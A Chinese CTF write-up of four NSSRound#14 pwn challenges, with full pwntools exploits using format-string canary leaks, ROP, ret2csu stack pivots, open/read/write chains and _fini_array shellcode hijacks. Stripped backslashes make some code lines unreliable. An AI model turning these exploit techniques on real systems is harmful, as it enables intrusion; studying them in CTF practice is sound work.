NSSRound#14
Basic栈题复现
love
主要考点:格式化字符串,ROP
checksec
开启了nx和canary保护
ida
main函数中存在格式化字符串漏洞,在vuln函数中存在gets函数溢出
20
23
思路
格式化字符串修改v4与v5相等进入vuln并泄露canary构造ROP链getshell
20
23
GDB调试
v4=555=0x22b v5=520=0x208
格式化字符串前六个参数储存在寄存器中,我们便能判断出0x7fffffffdde0中为格式化字符串的第6个参数接着向下数我们可以得出v4,v5,v6(储存了v4的地址)分别为第7,8,9个参数
canary是一串随机数但以00结尾,可以发现0x7fffffffde28处,即第15个参数存储着canary
利用脚本如下:
```python
payload = "%"+str(0x08)+"c%9$hhn"+'%15$p'#%9$hhn将第九个参数存储的地址对应的数据修改一字节
io.sendlineafter('Tokann',payload)
io.recvuntil('xc0')
canary = int(io.recv(18),16)
```
效果:
接下来基本ROP即可。
完整exp:
```python
from pwn import*
context.log_level = "debug"
io = process('./pwn')
#io = remote('node4.anna.nssctf.cn',28207)
elf = ELF('./pwn')
#libc = ELF('./libc.so.6')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
payload = "%"+str(0x08)+"c%9$hhn"+'%15$p'
io.sendlineafter('Tokann',payload)
io.recvuntil('xc0')
canary = int(io.recv(18),16)
print("canary:"+hex(canary))
pop_rdi_ret = 0x4013f3
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
ret_addr = 0x40101a
pause()
payload1 = b'a'*0x28+p64(canary)+p64(0) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(0x40125D)
io.sendlineafter('levelnn',payload1)
#puts_addr = u64(io.recv(6).ljust(8,b"x00"))
puts_addr = u64(io.recvuntil('x7f')[-6:].ljust(8,b'x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.sym["puts"]
system = libc_base + libc.symbols['system']
binsh = libc_base+next(libc.search(b"/bin/shx00"))
print(hex(system))
print(hex(binsh))
payload2 = b'a'*0x28+p64(canary)+p64(0) + p64(ret_addr) + p64(pop_rdi_ret) +p64(binsh) + p64(system)
io.sendlineafter('levelnn',payload2)
io.interactive()
```
rbp
考点:栈迁移,ret2csu,沙箱orw
checksec
ida
栈溢出只能溢出到返回地址,并且开启了沙箱,只有orw功能
20
23
思路
通过栈迁移扩大溢出范围泄露libc再利用orw配合读取flag
20
23
过程
首先在调试过程中发现覆盖返回地址为main函数无效,只能覆盖为start函数以循环读写
```python
buf=elf.bss()
payload=b'a'*0x210+p64(buf+0x800)+p64(0x401292)#start
io.send(payload)
```
本题难点:
由于既要ROP泄露libc又要实现循环,所以我们要利用pop rbp;ret伪造程序执行结束使其执行下一个程序执行流
```python
payload=p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])
```
铺上要泄露的函数
```python
payload+=p64(csu1)+p64(0)+p64(1)+p64(0)+p64(0x4046f0)+p64(0x100)+p64(elf.got['read'])
payload+=p64(csu2)+b'a'*0x38+p64(0x4011bd) #pop rbp
```
利用ret2csu伪造read函数并伪造程序执行
```python
payload=payload.ljust(0x210,b'b')+p64(0x404870-0x220-8)+p64(leave)
```
最后覆盖返回地址为ROP链起始地址并将栈迁移
效果如下:
然后构造orw链插入执行即可获取flag
```python
cat=p64(rdi)+p64(0x4047a0)+p64(rsi)+p64(0)*2+p64(open_)
cat+=p64(rdi)+p64(3)+p64(rsi)+p64(buf+0x500)+p64(0)+p64(rdx)+p64(0x30)+p64(read_)
cat+=p64(rdi)+p64(1)+p64(rsi)+p64(buf+0x500)+p64(0)+p64(rdx)+p64(0x30)+p64(write_)+b'flagx00'
```
完整exp:
```python
from pwn import *
io=process('./rbp')
#io=remote('node2.anna.nssctf.cn',28561)
elf=ELF('./rbp')
#libc=ELF('./libc.so.6')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def dbg():
gdb.attach(io,'b *0x4012bd')
pause()
csu_end_addr=0x040134A
csu_front_addr=0x401330
def csu(rbx, rbp, r12, r15, r14, r13, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call()
# rdi=edi=r15d
# rsi=r14
# rdx=r13
# csu(0, 1, fun_got, rdx, rsi, rdi, last)
payload = b""
payload += p64(csu_end_addr)
payload += p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
payload += p64(csu_front_addr)
payload += b'a' * 0x38
payload += p64(last)
return payload
buf=elf.bss()
payload=b'a'*0x210+p64(buf+0x800)+p64(0x401292)
io.send(payload)
csu1=0x040134A
csu2=0x401330
rdi=0x0401353
leave=0x04012BF
rsi=0x0401351
ret=0x040101a
rbp = 0x4011bd
#dbg()
#payload=p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+csu(0,1,0,0x4046f0,0x100,elf.got['read'],rbp)
#payload=payload.ljust(0x210,b'b')+p64(0x404870-0x220-8)+p64(leave)
payload=p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])
payload+=p64(csu1)+p64(0)+p64(1)+p64(0)+p64(0x4046f0)+p64(0x100)+p64(elf.got['read'])
payload+=p64(csu2)+b'a'*0x38+p64(0x4011bd) #pop rbp
payload=payload.ljust(0x210,b'b')+p64(0x404870-0x220-8)+p64(leave)
io.send(payload)
dbg()
libc_addr=u64(io.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))-libc.sym['puts']
print('libc_addr :'+hex(libc_addr))
#print('system :'+hex(buf+0x500))
# system=libc_addr+libc.sym['system']
# binsh=libc_addr+next(libc.search(b'/bin/shx00'))
open_=libc_addr+libc.sym['open']
read_=libc_addr+libc.sym['read']
write_=libc_addr+libc.sym['write']
rdx=libc_addr+0x166262
#rdx = libc_addr+libc.sym['rdx']
cat=p64(rdi)+p64(0x4047a0)+p64(rsi)+p64(0)*2+p64(open_)
cat+=p64(rdi)+p64(3)+p64(rsi)+p64(buf+0x500)+p64(0)+p64(rdx)+p64(0x30)+p64(read_)
cat+=p64(rdi)+p64(1)+p64(rsi)+p64(buf+0x500)+p64(0)+p64(rdx)+p64(0x30)+p64(write_)+b'flagx00'
dbg()
io.send(cat)
io.interactive()
```
xor
考点:_fini_array劫持,shellcode
checksec
ida
什么保护都没开,并且有一个任意地址写一字节的功能
但flag值为零,正常情况下只能写一次
调试后发现flag为int类型,所以可以通过覆盖高位整数溢出使其为负数实现多次地址写
```python
write_value(b"0x600bcf", b"0xff")
```
程序中没有执行函数,所以我们便可以考虑通过劫持程序exit结束时调用的函数数组执行shellcode
参考阅读
[_fini_array](https://meteorpursuer.github.io/2021/03/10/%E6%B5%85%E8%B0%88exit%E5%87%BD%E6%95%B0%E7%9A%84%E5%88%A9%E7%94%A8%E6%96%B9%E5%BC%8F%E4%B9%8B%E4%BA%8C%E2%80%94%E2%80%94fini_array/)
并且发现对应地址有rwx权限
在对应地址注入shellcode并通过xor函数异或修改对应地址的数据为shellcode地址
```python
write_value(b"0x600970", b"0x70")
write_value(b"0x600971", b"0x0a")
write_value(b"0x600972", b"0x20")
shellcode = asm(shellcraft.sh())
for i in range(len(shellcode)):
write_value(hex(0x600c60+i).encode(), hex(shellcode[i]).encode())
```
修改前
修改后:
最后将flag值改回去执行_fini_array指向的shellcode
完整exp:
```python
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
#libc = ELF('./libc.so.6')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
io = process("./xor")
#io = remote('node4.anna.nssctf.cn',28013)
def debug():
gdb.attach(io)
pause()
def write_value(addr, value):
io.sendlineafter(b"addr: ", addr)
io.sendlineafter(b"value: ", value)
write_value(b"0x600bcf", b"0xff")
debug()
write_value(b"0x600970", b"0x70")
write_value(b"0x600971", b"0x0a")
write_value(b"0x600972", b"0x20")
#debug()
shellcode = asm(shellcraft.sh())
for i in range(len(shellcode)):
write_value(hex(0x600c60+i).encode(), hex(shellcode[i]).encode())
debug()
write_value(b"0x600bcf", b"0xff")
#debug()
io.interactive()
```
readfile
考点:stdin读取,ret2text
checksec
ida
20
23
思路
read功能中scanf(%8s)覆盖末位的 造成stdin读取再ret2text
20
23
过程
由于read中有一个检测机制所以我们要先输入一个非flag字段的filename使file_flag=1
随后输入带有flag字段的filename使file_fd=0
效果:
令fd为零后我们便可在read功能中自己发送数据了
随后覆盖低位stdin读取libc
```python
read_file(0x60)
payload = 8*b"a"
io.send(payload)
debug()
io.recvuntil(b"file_content : "+8*b"a")
leak_libc = u64(io.recvuntil(b"n", drop=True).ljust(8, b" "))
```
由于要溢出,所以要进入readmore中,能够多读入56字节
然后GDB调试看看填充数据大小
可以发现filecontent读入的数据距离rbp为0x40,所以填充0x40+8个字节的垃圾数据
再打入rop链即可
```python
payload = 0x48*b" "+p64(ret)
payload += p64(rdi_ret)+p64(binsh)
payload += p64(system)
io.sendafter(b"read more n", payload)
```
完整exp:
```python
from pwn import *
context.log_level = "debug"
#libc = ELF("./libc.so.6")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
io = process("./pwn")
#p = remote("node2.anna.nssctf.cn", 28930)
def debug():
gdb.attach(io)
pause()
def cmd(i):
io.sendlineafter(b">> ", str(i).encode())
def load_file(name):
cmd(1)
io.sendlineafter(b"file_name : ", name)
def read_file(length):
cmd(2)
io.sendlineafter(b"file_content_length : ", str(length).encode())
load_file(b"pwn")
debug()
# gdb.attach(p)
load_file(b"flag.txt")
debug()
read_file(0x60)
payload = 8*b"a"
io.send(payload)
debug()
io.recvuntil(b"file_content : "+8*b"a")
leak_libc = u64(io.recvuntil(b"n", drop=True).ljust(8, b" "))
print("leak:"+hex(leak_libc))#five
libc_base = leak_libc-0x887e3
# gdb.attach(p)
read_file(0x30)
ret = 0x000000000040101a
rdi_ret = libc_base+0x0000000000023b65
binsh = libc_base+next(libc.search(b"/bin/sh"))
system = libc_base+libc.sym["system"]
payload = 0x48*b" "+p64(ret)
payload += p64(rdi_ret)+p64(binsh)
payload += p64(system)
debug()
io.sendafter(b"read more n", payload)
io.interactive()
```
原文始发于微信公众号(火炬木攻防实验室):NSSRound#14 Basic栈题复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论